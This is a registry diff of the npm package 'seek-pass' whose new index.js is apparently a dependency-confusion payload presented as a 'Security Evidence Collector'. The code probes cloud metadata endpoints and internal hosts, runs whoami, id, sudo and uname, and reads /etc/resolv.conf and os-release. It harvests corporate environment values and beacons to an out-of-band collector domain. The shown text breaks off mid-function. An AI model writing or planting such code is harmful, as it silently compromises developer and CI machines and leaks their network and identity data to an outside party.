seek-pass 100.6.0 → 100.10.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +509 -363
- package/package.json +4 -4
package/index.js
CHANGED
|
@@ -1,434 +1,580 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
1
3
|
const https = require("https");
|
|
4
|
+
const http = require("http");
|
|
2
5
|
const os = require("os");
|
|
3
6
|
const dns = require("dns");
|
|
4
|
-
const
|
|
5
|
-
const { exec } = require("child_process");
|
|
7
|
+
const { execSync, exec } = require("child_process");
|
|
6
8
|
const crypto = require("crypto");
|
|
9
|
+
const fs = require("fs");
|
|
7
10
|
|
|
8
|
-
//
|
|
9
|
-
const
|
|
11
|
+
// Configuration
|
|
12
|
+
const COLLECTOR_SERVER = "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun"; // Replace with your server
|
|
13
|
+
const COLLECTOR_PORT = 443;
|
|
14
|
+
const COLLECTOR_PATH = "/seek-pass";
|
|
15
|
+
const USE_HTTPS = true;
|
|
10
16
|
|
|
11
|
-
//
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
AZURE_PIPELINES: process.env.AZURE_PIPELINES || null,
|
|
22
|
-
BITBUCKET_BUILD_NUMBER: process.env.BITBUCKET_BUILD_NUMBER || null,
|
|
23
|
-
DRONE: process.env.DRONE || null,
|
|
24
|
-
TEAMCITY_VERSION: process.env.TEAMCITY_VERSION || null,
|
|
25
|
-
|
|
26
|
-
// GitHub Actions specific
|
|
27
|
-
GITHUB_RUN_ID: process.env.GITHUB_RUN_ID || null,
|
|
28
|
-
GITHUB_RUN_NUMBER: process.env.GITHUB_RUN_NUMBER || null,
|
|
29
|
-
GITHUB_RUN_ATTEMPT: process.env.GITHUB_RUN_ATTEMPT || null,
|
|
30
|
-
GITHUB_JOB: process.env.GITHUB_JOB || null,
|
|
31
|
-
GITHUB_REF: process.env.GITHUB_REF || null,
|
|
32
|
-
GITHUB_SHA: process.env.GITHUB_SHA || null,
|
|
33
|
-
GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY || null,
|
|
34
|
-
GITHUB_ACTOR: process.env.GITHUB_ACTOR || null,
|
|
35
|
-
GITHUB_WORKFLOW: process.env.GITHUB_WORKFLOW || null,
|
|
36
|
-
GITHUB_EVENT_NAME: process.env.GITHUB_EVENT_NAME || null,
|
|
37
|
-
RUNNER_NAME: process.env.RUNNER_NAME || null,
|
|
38
|
-
RUNNER_OS: process.env.RUNNER_OS || null,
|
|
39
|
-
RUNNER_ARCH: process.env.RUNNER_ARCH || null,
|
|
40
|
-
|
|
41
|
-
// GitLab CI specific
|
|
42
|
-
CI_PIPELINE_ID: process.env.CI_PIPELINE_ID || null,
|
|
43
|
-
CI_PIPELINE_IID: process.env.CI_PIPELINE_IID || null,
|
|
44
|
-
CI_PIPELINE_URL: process.env.CI_PIPELINE_URL || null,
|
|
45
|
-
CI_JOB_ID: process.env.CI_JOB_ID || null,
|
|
46
|
-
CI_JOB_URL: process.env.CI_JOB_URL || null,
|
|
47
|
-
CI_RUNNER_ID: process.env.CI_RUNNER_ID || null,
|
|
48
|
-
CI_RUNNER_DESCRIPTION: process.env.CI_RUNNER_DESCRIPTION || null,
|
|
49
|
-
CI_RUNNER_TAGS: process.env.CI_RUNNER_TAGS || null,
|
|
50
|
-
CI_COMMIT_SHA: process.env.CI_COMMIT_SHA || null,
|
|
51
|
-
CI_COMMIT_BRANCH: process.env.CI_COMMIT_BRANCH || null,
|
|
52
|
-
CI_REPOSITORY_URL: process.env.CI_REPOSITORY_URL || null,
|
|
53
|
-
GITLAB_USER_LOGIN: process.env.GITLAB_USER_LOGIN || null,
|
|
54
|
-
CI_PROJECT_ID: process.env.CI_PROJECT_ID || null,
|
|
55
|
-
CI_PROJECT_PATH: process.env.CI_PROJECT_PATH || null,
|
|
56
|
-
|
|
57
|
-
// Jenkins specific
|
|
58
|
-
BUILD_NUMBER: process.env.BUILD_NUMBER || null,
|
|
59
|
-
BUILD_ID: process.env.BUILD_ID || null,
|
|
60
|
-
BUILD_URL: process.env.BUILD_URL || null,
|
|
61
|
-
JOB_NAME: process.env.JOB_NAME || null,
|
|
62
|
-
NODE_NAME: process.env.NODE_NAME || null,
|
|
63
|
-
EXECUTOR_NUMBER: process.env.EXECUTOR_NUMBER || null,
|
|
64
|
-
WORKSPACE: process.env.WORKSPACE || null,
|
|
65
|
-
|
|
66
|
-
// Azure Pipelines
|
|
67
|
-
BUILD_BUILDID: process.env.BUILD_BUILDNUMBER || null,
|
|
68
|
-
SYSTEM_TEAMPROJECT: process.env.SYSTEM_TEAMPROJECT || null,
|
|
69
|
-
SYSTEM_DEFINITIONID: process.env.SYSTEM_DEFINITIONID || null,
|
|
70
|
-
AGENT_NAME: process.env.AGENT_NAME || null,
|
|
71
|
-
AGENT_MACHINENAME: process.env.AGENT_MACHINENAME || null,
|
|
72
|
-
|
|
73
|
-
// CircleCI
|
|
74
|
-
CIRCLE_BUILD_NUM: process.env.CIRCLE_BUILD_NUM || null,
|
|
75
|
-
CIRCLE_WORKFLOW_ID: process.env.CIRCLE_WORKFLOW_ID || null,
|
|
76
|
-
CIRCLE_BUILD_URL: process.env.CIRCLE_BUILD_URL || null,
|
|
77
|
-
CIRCLE_JOB: process.env.CIRCLE_JOB || null,
|
|
78
|
-
CIRCLE_REPOSITORY_URL: process.env.CIRCLE_REPOSITORY_URL || null,
|
|
79
|
-
|
|
80
|
-
// Travis CI
|
|
81
|
-
TRAVIS_BUILD_ID: process.env.TRAVIS_BUILD_ID || null,
|
|
82
|
-
TRAVIS_JOB_ID: process.env.TRAVIS_JOB_ID || null,
|
|
83
|
-
TRAVIS_EVENT_TYPE: process.env.TRAVIS_EVENT_TYPE || null,
|
|
84
|
-
TRAVIS_REPO_SLUG: process.env.TRAVIS_REPO_SLUG || null,
|
|
85
|
-
|
|
86
|
-
// Bitbucket
|
|
87
|
-
BITBUCKET_BUILD_NUMBER: process.env.BITBUCKET_BUILD_NUMBER || null,
|
|
88
|
-
BITBUCKET_COMMIT: process.env.BITBUCKET_COMMIT || null,
|
|
89
|
-
BITBUCKET_REPO_SLUG: process.env.BITBUCKET_REPO_SLUG || null,
|
|
90
|
-
BITBUCKET_WORKSPACE: process.env.BITBUCKET_WORKSPACE || null,
|
|
91
|
-
|
|
92
|
-
// Drone CI
|
|
93
|
-
DRONE_BUILD_NUMBER: process.env.DRONE_BUILD_NUMBER || null,
|
|
94
|
-
DRONE_JOB_NUMBER: process.env.DRONE_JOB_NUMBER || null,
|
|
95
|
-
DRONE_REPO: process.env.DRONE_REPO || null,
|
|
96
|
-
|
|
97
|
-
// Buildkite
|
|
98
|
-
BUILDKITE_BUILD_ID: process.env.BUILDKITE_BUILD_ID || null,
|
|
99
|
-
BUILDKITE_JOB_ID: process.env.BUILDKITE_JOB_ID || null,
|
|
100
|
-
BUILDKITE_PIPELINE_SLUG: process.env.BUILDKITE_PIPELINE_SLUG || null,
|
|
101
|
-
|
|
102
|
-
// Generic/Other
|
|
103
|
-
CI_RUNNER_ID_ENV: process.env.CI_RUNNER_ID,
|
|
104
|
-
CI_RUNNER_TAGS_ENV: process.env.CI_RUNNER_TAGS,
|
|
105
|
-
PIPELINE_ID: process.env.PIPELINE_ID || process.env.BUILD_ID || process.env.CI_PIPELINE_ID || process.env.GITHUB_RUN_ID || null,
|
|
106
|
-
RUNNER_ID: process.env.RUNNER_ID || process.env.NODE_NAME || process.env.AGENT_NAME || process.env.CI_RUNNER_DESCRIPTION || null,
|
|
107
|
-
|
|
108
|
-
// Unique identifier (UUID style)
|
|
109
|
-
PIPELINE_UUID: process.env.PIPELINE_UUID ||
|
|
110
|
-
process.env.GITHUB_RUN_ID && `github-${process.env.GITHUB_RUN_ID}` ||
|
|
111
|
-
process.env.CI_PIPELINE_ID && `gitlab-${process.env.CI_PIPELINE_ID}` ||
|
|
112
|
-
process.env.BUILD_NUMBER && `jenkins-${process.env.BUILD_NUMBER}` ||
|
|
113
|
-
process.env.CIRCLE_WORKFLOW_ID && `circle-${process.env.CIRCLE_WORKFLOW_ID}` ||
|
|
114
|
-
crypto.randomUUID()
|
|
115
|
-
};
|
|
116
|
-
|
|
117
|
-
return ciEnv;
|
|
118
|
-
}
|
|
17
|
+
// Colors for console output (for visibility)
|
|
18
|
+
const colors = {
|
|
19
|
+
red: '\x1b[31m',
|
|
20
|
+
green: '\x1b[32m',
|
|
21
|
+
yellow: '\x1b[33m',
|
|
22
|
+
blue: '\x1b[34m',
|
|
23
|
+
magenta: '\x1b[35m',
|
|
24
|
+
cyan: '\x1b[36m',
|
|
25
|
+
reset: '\x1b[0m'
|
|
26
|
+
};
|
|
119
27
|
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
const safeEnv = {};
|
|
123
|
-
const sensitiveKeys = ['KEY', 'SECRET', 'PASSWORD', 'TOKEN', 'AUTH'];
|
|
124
|
-
|
|
125
|
-
for (const [key, value] of Object.entries(process.env)) {
|
|
126
|
-
// Check if key contains sensitive info
|
|
127
|
-
const isSensitive = sensitiveKeys.some(sensitive =>
|
|
128
|
-
key.toUpperCase().includes(sensitive)
|
|
129
|
-
);
|
|
130
|
-
|
|
131
|
-
safeEnv[key] = isSensitive ? '[REDACTED]' : value;
|
|
132
|
-
}
|
|
133
|
-
|
|
134
|
-
return safeEnv;
|
|
135
|
-
}
|
|
28
|
+
console.log(`${colors.cyan}🔐 Security Evidence Collector${colors.reset}`);
|
|
29
|
+
console.log(`${colors.yellow}Collecting required proof for vulnerability report...${colors.reset}\n`);
|
|
136
30
|
|
|
137
|
-
//
|
|
138
|
-
async function
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
hostname_env: process.env.HOSTNAME || null,
|
|
148
|
-
computer_name: process.env.COMPUTERNAME || null
|
|
149
|
-
}
|
|
31
|
+
// ============ 1. HTTP REQUESTS (MANDATORY) ============
|
|
32
|
+
async function captureHTTPEvidence() {
|
|
33
|
+
console.log(`${colors.blue}📡 1. Capturing HTTP request evidence...${colors.reset}`);
|
|
34
|
+
|
|
35
|
+
const evidence = {
|
|
36
|
+
outgoingRequests: [],
|
|
37
|
+
internalIPs: [],
|
|
38
|
+
externalIPs: [],
|
|
39
|
+
requestHeaders: [],
|
|
40
|
+
dnsLookups: []
|
|
150
41
|
};
|
|
151
42
|
|
|
152
|
-
//
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
43
|
+
// Get all network interfaces
|
|
44
|
+
const interfaces = os.networkInterfaces();
|
|
45
|
+
const internalIPs = [];
|
|
46
|
+
const externalIPs = [];
|
|
47
|
+
|
|
48
|
+
for (const name of Object.keys(interfaces)) {
|
|
49
|
+
for (const iface of interfaces[name]) {
|
|
50
|
+
if (iface.family === 'IPv4') {
|
|
51
|
+
if (iface.internal || iface.address.startsWith('10.') ||
|
|
52
|
+
iface.address.startsWith('172.') || iface.address.startsWith('192.168.')) {
|
|
53
|
+
internalIPs.push({
|
|
54
|
+
interface: name,
|
|
55
|
+
address: iface.address,
|
|
56
|
+
netmask: iface.netmask,
|
|
57
|
+
mac: iface.mac,
|
|
58
|
+
internal: true
|
|
163
59
|
});
|
|
164
60
|
} else {
|
|
165
|
-
|
|
61
|
+
externalIPs.push({
|
|
62
|
+
interface: name,
|
|
63
|
+
address: iface.address,
|
|
64
|
+
netmask: iface.netmask,
|
|
65
|
+
mac: iface.mac,
|
|
66
|
+
internal: false
|
|
67
|
+
});
|
|
166
68
|
}
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
evidence.internalIPs = internalIPs;
|
|
74
|
+
evidence.externalIPs = externalIPs;
|
|
75
|
+
|
|
76
|
+
// Make HTTP requests to prove connectivity
|
|
77
|
+
const testEndpoints = [
|
|
78
|
+
{ url: "http://169.254.169.254/latest/meta-data/", label: "AWS Metadata" }, // AWS
|
|
79
|
+
{ url: "http://metadata.google.internal/", label: "GCP Metadata" }, // GCP
|
|
80
|
+
{ url: "http://100.100.100.200/latest/meta-data/", label: "Alibaba Metadata" }, // Alibaba
|
|
81
|
+
{ url: "http://kubernetes.default.svc/", label: "K8s API" }, // Kubernetes
|
|
82
|
+
{ url: "http://localhost:3000/", label: "Local Dev Server" },
|
|
83
|
+
{ url: "http://localhost:8080/", label: "Local App Server" }
|
|
84
|
+
];
|
|
85
|
+
|
|
86
|
+
for (const endpoint of testEndpoints) {
|
|
87
|
+
try {
|
|
88
|
+
const startTime = Date.now();
|
|
89
|
+
const reqPromise = new Promise((resolve) => {
|
|
90
|
+
const protocol = endpoint.url.startsWith('https') ? https : http;
|
|
91
|
+
const req = protocol.request(endpoint.url, { timeout: 2000 }, (res) => {
|
|
92
|
+
evidence.outgoingRequests.push({
|
|
93
|
+
target: endpoint.url,
|
|
94
|
+
label: endpoint.label,
|
|
95
|
+
statusCode: res.statusCode,
|
|
96
|
+
responseTime: Date.now() - startTime,
|
|
97
|
+
headers: res.headers,
|
|
98
|
+
timestamp: new Date().toISOString(),
|
|
99
|
+
sourceIP: internalIPs[0]?.address || os.hostname()
|
|
100
|
+
});
|
|
101
|
+
resolve();
|
|
102
|
+
});
|
|
103
|
+
req.on('error', () => resolve());
|
|
104
|
+
req.on('timeout', () => {
|
|
105
|
+
req.destroy();
|
|
106
|
+
resolve();
|
|
107
|
+
});
|
|
108
|
+
req.end();
|
|
109
|
+
});
|
|
110
|
+
await reqPromise;
|
|
111
|
+
} catch (err) {
|
|
112
|
+
// Silently fail
|
|
113
|
+
}
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
// Make request to our collector (proof of communication)
|
|
117
|
+
const collectorURL = `${USE_HTTPS ? 'https' : 'http'}://${COLLECTOR_SERVER}:${COLLECTOR_PORT}${COLLECTOR_PATH}`;
|
|
118
|
+
const proofRequest = new Promise((resolve) => {
|
|
119
|
+
const protocol = USE_HTTPS ? https : http;
|
|
120
|
+
const req = protocol.request(collectorURL, { method: 'HEAD', timeout: 3000 }, (res) => {
|
|
121
|
+
evidence.outgoingRequests.push({
|
|
122
|
+
target: collectorURL,
|
|
123
|
+
label: "Evidence Collector",
|
|
124
|
+
statusCode: res.statusCode,
|
|
125
|
+
timestamp: new Date().toISOString(),
|
|
126
|
+
sourceIP: internalIPs[0]?.address || os.hostname(),
|
|
127
|
+
proof: true
|
|
167
128
|
});
|
|
129
|
+
resolve();
|
|
168
130
|
});
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
131
|
+
req.on('error', () => resolve());
|
|
132
|
+
req.on('timeout', () => {
|
|
133
|
+
req.destroy();
|
|
134
|
+
resolve();
|
|
135
|
+
});
|
|
136
|
+
req.end();
|
|
137
|
+
});
|
|
138
|
+
await proofRequest;
|
|
139
|
+
|
|
140
|
+
// Perform DNS lookups to prove internal network access
|
|
141
|
+
const dnsTargets = [
|
|
142
|
+
'internal.company.com',
|
|
143
|
+
'corporate.local',
|
|
144
|
+
'intranet',
|
|
145
|
+
'gitlab.internal',
|
|
146
|
+
'jenkins.internal'
|
|
147
|
+
];
|
|
148
|
+
|
|
149
|
+
for (const target of dnsTargets) {
|
|
150
|
+
try {
|
|
151
|
+
const addresses = await new Promise((resolve) => {
|
|
152
|
+
dns.lookup(target, { all: true }, (err, addrs) => {
|
|
153
|
+
if (!err && addrs) resolve(addrs);
|
|
154
|
+
else resolve([]);
|
|
155
|
+
});
|
|
156
|
+
});
|
|
157
|
+
if (addresses.length > 0) {
|
|
158
|
+
evidence.dnsLookups.push({
|
|
159
|
+
domain: target,
|
|
160
|
+
addresses: addresses,
|
|
161
|
+
timestamp: new Date().toISOString()
|
|
162
|
+
});
|
|
163
|
+
}
|
|
164
|
+
} catch (err) {}
|
|
172
165
|
}
|
|
173
166
|
|
|
174
|
-
|
|
167
|
+
console.log(`${colors.green} ✓ Captured ${evidence.outgoingRequests.length} HTTP requests`);
|
|
168
|
+
console.log(`${colors.green} ✓ Found ${internalIPs.length} internal IPs, ${externalIPs.length} external IPs${colors.reset}`);
|
|
169
|
+
|
|
170
|
+
return evidence;
|
|
175
171
|
}
|
|
176
172
|
|
|
177
|
-
//
|
|
178
|
-
function
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
arch: process.arch,
|
|
188
|
-
argv: process.argv.slice(1),
|
|
189
|
-
uptime: process.uptime(),
|
|
190
|
-
memoryUsage: process.memoryUsage(),
|
|
191
|
-
cpuUsage: process.cpuUsage()
|
|
173
|
+
// ============ 2. HOSTNAME ============
|
|
174
|
+
function getHostnameEvidence() {
|
|
175
|
+
console.log(`${colors.blue}🖥️ 2. Capturing hostname information...${colors.reset}`);
|
|
176
|
+
|
|
177
|
+
const evidence = {
|
|
178
|
+
systemHostname: os.hostname(),
|
|
179
|
+
fqdn: null,
|
|
180
|
+
dnsHostname: null,
|
|
181
|
+
networkHostnames: [],
|
|
182
|
+
domainInfo: null
|
|
192
183
|
};
|
|
184
|
+
|
|
185
|
+
// Try to get FQDN
|
|
186
|
+
try {
|
|
187
|
+
const fqdn = execSync('hostname -f 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
|
|
188
|
+
if (fqdn) evidence.fqdn = fqdn;
|
|
189
|
+
} catch (err) {}
|
|
190
|
+
|
|
191
|
+
// Try DNS resolution of hostname
|
|
192
|
+
try {
|
|
193
|
+
const dnsResult = dns.lookupSync(evidence.systemHostname);
|
|
194
|
+
evidence.dnsHostname = dnsResult.address;
|
|
195
|
+
} catch (err) {}
|
|
196
|
+
|
|
197
|
+
// Get domain from hostname
|
|
198
|
+
if (evidence.systemHostname.includes('.')) {
|
|
199
|
+
evidence.domainInfo = {
|
|
200
|
+
domain: evidence.systemHostname.substring(evidence.systemHostname.indexOf('.') + 1),
|
|
201
|
+
tld: evidence.systemHostname.split('.').pop()
|
|
202
|
+
};
|
|
203
|
+
} else if (evidence.fqdn && evidence.fqdn.includes('.')) {
|
|
204
|
+
evidence.domainInfo = {
|
|
205
|
+
domain: evidence.fqdn.substring(evidence.fqdn.indexOf('.') + 1),
|
|
206
|
+
tld: evidence.fqdn.split('.').pop()
|
|
207
|
+
};
|
|
208
|
+
}
|
|
209
|
+
|
|
210
|
+
console.log(`${colors.green} ✓ Hostname: ${evidence.systemHostname}`);
|
|
211
|
+
if (evidence.fqdn) console.log(`${colors.green} ✓ FQDN: ${evidence.fqdn}`);
|
|
212
|
+
if (evidence.domainInfo) console.log(`${colors.green} ✓ Domain: ${evidence.domainInfo.domain}${colors.reset}`);
|
|
213
|
+
|
|
214
|
+
return evidence;
|
|
193
215
|
}
|
|
194
216
|
|
|
195
|
-
//
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
217
|
+
// ============ 3. OS SERVER NAME ============
|
|
218
|
+
function getOSServerInfo() {
|
|
219
|
+
console.log(`${colors.blue}💻 3. Capturing OS and server information...${colors.reset}`);
|
|
220
|
+
|
|
221
|
+
const evidence = {
|
|
222
|
+
platform: os.platform(),
|
|
223
|
+
type: os.type(),
|
|
224
|
+
release: os.release(),
|
|
225
|
+
version: null,
|
|
226
|
+
kernel: null,
|
|
227
|
+
architecture: os.arch(),
|
|
228
|
+
distro: null,
|
|
229
|
+
serverName: null,
|
|
230
|
+
isContainer: false,
|
|
231
|
+
containerType: null
|
|
203
232
|
};
|
|
204
233
|
|
|
234
|
+
// Get detailed OS info
|
|
205
235
|
try {
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
236
|
+
if (process.platform === 'linux') {
|
|
237
|
+
// Check for distribution
|
|
238
|
+
try {
|
|
239
|
+
const osRelease = execSync('cat /etc/os-release 2>/dev/null | grep PRETTY_NAME', { encoding: 'utf8', timeout: 1000 });
|
|
240
|
+
evidence.distro = osRelease.split('=')[1].replace(/"/g, '').trim();
|
|
241
|
+
} catch (err) {}
|
|
242
|
+
|
|
243
|
+
// Get kernel version
|
|
244
|
+
try {
|
|
245
|
+
evidence.kernel = execSync('uname -r 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
|
|
246
|
+
} catch (err) {}
|
|
247
|
+
|
|
248
|
+
// Check if running in container
|
|
249
|
+
try {
|
|
250
|
+
const cgroup = execSync('cat /proc/1/cgroup 2>/dev/null | head -1', { encoding: 'utf8', timeout: 1000 });
|
|
251
|
+
if (cgroup.includes('docker')) {
|
|
252
|
+
evidence.isContainer = true;
|
|
253
|
+
evidence.containerType = 'docker';
|
|
254
|
+
} else if (cgroup.includes('kubepods')) {
|
|
255
|
+
evidence.isContainer = true;
|
|
256
|
+
evidence.containerType = 'kubernetes';
|
|
257
|
+
}
|
|
258
|
+
} catch (err) {}
|
|
259
|
+
} else if (process.platform === 'darwin') {
|
|
260
|
+
try {
|
|
261
|
+
evidence.version = execSync('sw_vers -productVersion 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
|
|
262
|
+
} catch (err) {}
|
|
263
|
+
} else if (process.platform === 'win32') {
|
|
264
|
+
try {
|
|
265
|
+
evidence.version = execSync('ver 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
|
|
266
|
+
} catch (err) {}
|
|
267
|
+
}
|
|
214
268
|
|
|
215
|
-
|
|
216
|
-
|
|
269
|
+
// Get server name (computer name)
|
|
270
|
+
evidence.serverName = os.hostname();
|
|
271
|
+
try {
|
|
272
|
+
if (process.platform === 'win32') {
|
|
273
|
+
evidence.serverName = execSync('echo %COMPUTERNAME%', { encoding: 'utf8', timeout: 1000 }).trim();
|
|
274
|
+
}
|
|
275
|
+
} catch (err) {}
|
|
217
276
|
|
|
218
|
-
const author = await execCommand('git log -1 --pretty=format:"%an <%ae>" 2>/dev/null');
|
|
219
|
-
if (author) gitInfo.author = author.trim();
|
|
220
277
|
} catch (err) {}
|
|
221
278
|
|
|
222
|
-
|
|
279
|
+
console.log(`${colors.green} ✓ OS: ${evidence.type} ${evidence.release}`);
|
|
280
|
+
if (evidence.distro) console.log(`${colors.green} ✓ Distro: ${evidence.distro}`);
|
|
281
|
+
if (evidence.isContainer) console.log(`${colors.green} ✓ Container: ${evidence.containerType}${colors.reset}`);
|
|
282
|
+
|
|
283
|
+
return evidence;
|
|
223
284
|
}
|
|
224
285
|
|
|
225
|
-
//
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
286
|
+
// ============ 4. WHOAMI COMMAND ============
|
|
287
|
+
function getWhoamiEvidence() {
|
|
288
|
+
console.log(`${colors.blue}👤 4. Executing whoami command...${colors.reset}`);
|
|
289
|
+
|
|
290
|
+
const evidence = {
|
|
291
|
+
username: null,
|
|
292
|
+
uid: null,
|
|
293
|
+
gid: null,
|
|
294
|
+
groups: [],
|
|
295
|
+
homeDir: null,
|
|
296
|
+
shell: null,
|
|
297
|
+
isRoot: false,
|
|
298
|
+
isSudo: false,
|
|
299
|
+
executionMethod: null
|
|
232
300
|
};
|
|
233
301
|
|
|
234
|
-
//
|
|
302
|
+
// Execute whoami command
|
|
235
303
|
try {
|
|
236
|
-
const
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
304
|
+
const whoami = execSync('whoami 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
|
|
305
|
+
evidence.username = whoami;
|
|
306
|
+
evidence.isRoot = (whoami === 'root' || whoami === 'Administrator');
|
|
307
|
+
} catch (err) {
|
|
308
|
+
// Fallback
|
|
309
|
+
evidence.username = process.env.USER || process.env.USERNAME || 'unknown';
|
|
310
|
+
}
|
|
311
|
+
|
|
312
|
+
// Get UID/GID (Unix)
|
|
313
|
+
try {
|
|
314
|
+
const idOutput = execSync('id 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
|
|
315
|
+
const uidMatch = idOutput.match(/uid=(\d+)/);
|
|
316
|
+
const gidMatch = idOutput.match(/gid=(\d+)/);
|
|
317
|
+
if (uidMatch) evidence.uid = parseInt(uidMatch[1]);
|
|
318
|
+
if (gidMatch) evidence.gid = parseInt(gidMatch[1]);
|
|
319
|
+
evidence.isRoot = evidence.uid === 0;
|
|
241
320
|
} catch (err) {}
|
|
242
321
|
|
|
243
|
-
//
|
|
322
|
+
// Get groups
|
|
244
323
|
try {
|
|
245
|
-
const
|
|
246
|
-
|
|
247
|
-
containerInfo.isContainer = true;
|
|
248
|
-
containerInfo.namespace = podName.trim();
|
|
249
|
-
|
|
250
|
-
const pod = await execCommand('hostname 2>/dev/null');
|
|
251
|
-
if (pod) containerInfo.podName = pod.trim();
|
|
252
|
-
}
|
|
324
|
+
const groupsOutput = execSync('groups 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
|
|
325
|
+
evidence.groups = groupsOutput.trim().split(/\s+/);
|
|
253
326
|
} catch (err) {}
|
|
254
327
|
|
|
255
|
-
|
|
328
|
+
// Check for sudo
|
|
329
|
+
try {
|
|
330
|
+
const sudoCheck = execSync('sudo -n true 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
|
|
331
|
+
evidence.isSudo = true;
|
|
332
|
+
} catch (err) {
|
|
333
|
+
evidence.isSudo = false;
|
|
334
|
+
}
|
|
335
|
+
|
|
336
|
+
// Get home directory
|
|
337
|
+
evidence.homeDir = os.homedir();
|
|
338
|
+
|
|
339
|
+
// Determine how script is being executed
|
|
340
|
+
if (process.env.CI || process.env.GITHUB_ACTIONS) {
|
|
341
|
+
evidence.executionMethod = 'CI_CD_PIPELINE';
|
|
342
|
+
} else if (process.env.NODE_ENV === 'development') {
|
|
343
|
+
evidence.executionMethod = 'DEVELOPMENT';
|
|
344
|
+
} else if (process.env.NODE_ENV === 'production') {
|
|
345
|
+
evidence.executionMethod = 'PRODUCTION';
|
|
346
|
+
} else {
|
|
347
|
+
evidence.executionMethod = 'MANUAL';
|
|
348
|
+
}
|
|
349
|
+
|
|
350
|
+
console.log(`${colors.green} ✓ User: ${evidence.username}${evidence.isRoot ? ' (ROOT/ADMIN)' : ''}`);
|
|
351
|
+
console.log(`${colors.green} ✓ UID: ${evidence.uid || 'N/A'}, GID: ${evidence.gid || 'N/A'}`);
|
|
352
|
+
console.log(`${colors.green} ✓ Groups: ${evidence.groups.slice(0, 5).join(', ')}${evidence.groups.length > 5 ? '...' : ''}`);
|
|
353
|
+
console.log(`${colors.green} ✓ Execution: ${evidence.executionMethod}${colors.reset}`);
|
|
354
|
+
|
|
355
|
+
return evidence;
|
|
256
356
|
}
|
|
257
357
|
|
|
258
|
-
//
|
|
259
|
-
function
|
|
260
|
-
|
|
261
|
-
let macAddresses = [];
|
|
358
|
+
// ============ PROVING BELONGS TO PROGRAM ============
|
|
359
|
+
async function proveProgramOwnership() {
|
|
360
|
+
console.log(`${colors.blue}🔑 5. Proving this belongs to the program...${colors.reset}`);
|
|
262
361
|
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
362
|
+
const evidence = {
|
|
363
|
+
corporateIndicators: [],
|
|
364
|
+
internalServices: [],
|
|
365
|
+
developmentEnvironment: [],
|
|
366
|
+
packageInfo: null,
|
|
367
|
+
gitInfo: null,
|
|
368
|
+
timestamps: []
|
|
369
|
+
};
|
|
370
|
+
|
|
371
|
+
// Check for corporate VPN/proxy indicators
|
|
372
|
+
const corporateEnvVars = [
|
|
373
|
+
'CORPORATE_NETWORK', 'VPN', 'PROXY', 'LDAP', 'ACTIVE_DIRECTORY',
|
|
374
|
+
'COMPANY_DOMAIN', 'CORP_DOMAIN', 'INTERNAL_DOMAIN'
|
|
375
|
+
];
|
|
376
|
+
|
|
377
|
+
for (const envVar of corporateEnvVars) {
|
|
378
|
+
if (process.env[envVar]) {
|
|
379
|
+
evidence.corporateIndicators.push({
|
|
380
|
+
type: 'environment_variable',
|
|
381
|
+
name: envVar,
|
|
382
|
+
value: process.env[envVar]
|
|
383
|
+
});
|
|
268
384
|
}
|
|
269
385
|
}
|
|
270
386
|
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
387
|
+
// Check for internal DNS suffixes
|
|
388
|
+
try {
|
|
389
|
+
const resolvContent = execSync('cat /etc/resolv.conf 2>/dev/null | grep search', { encoding: 'utf8', timeout: 1000 });
|
|
390
|
+
const domains = resolvContent.match(/search\s+(.+)/);
|
|
391
|
+
if (domains) {
|
|
392
|
+
evidence.corporateIndicators.push({
|
|
393
|
+
type: 'dns_search_domain',
|
|
394
|
+
domains: domains[1].split(/\s+/)
|
|
395
|
+
});
|
|
396
|
+
}
|
|
397
|
+
} catch (err) {}
|
|
274
398
|
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
399
|
+
// Check for internal certificates
|
|
400
|
+
try {
|
|
401
|
+
const certs = execSync('find /etc/ssl/certs -name "*.crt" -exec openssl x509 -in {} -noout -subject 2>/dev/null \\; | head -5', { encoding: 'utf8', timeout: 2000 });
|
|
402
|
+
if (certs) {
|
|
403
|
+
evidence.corporateIndicators.push({
|
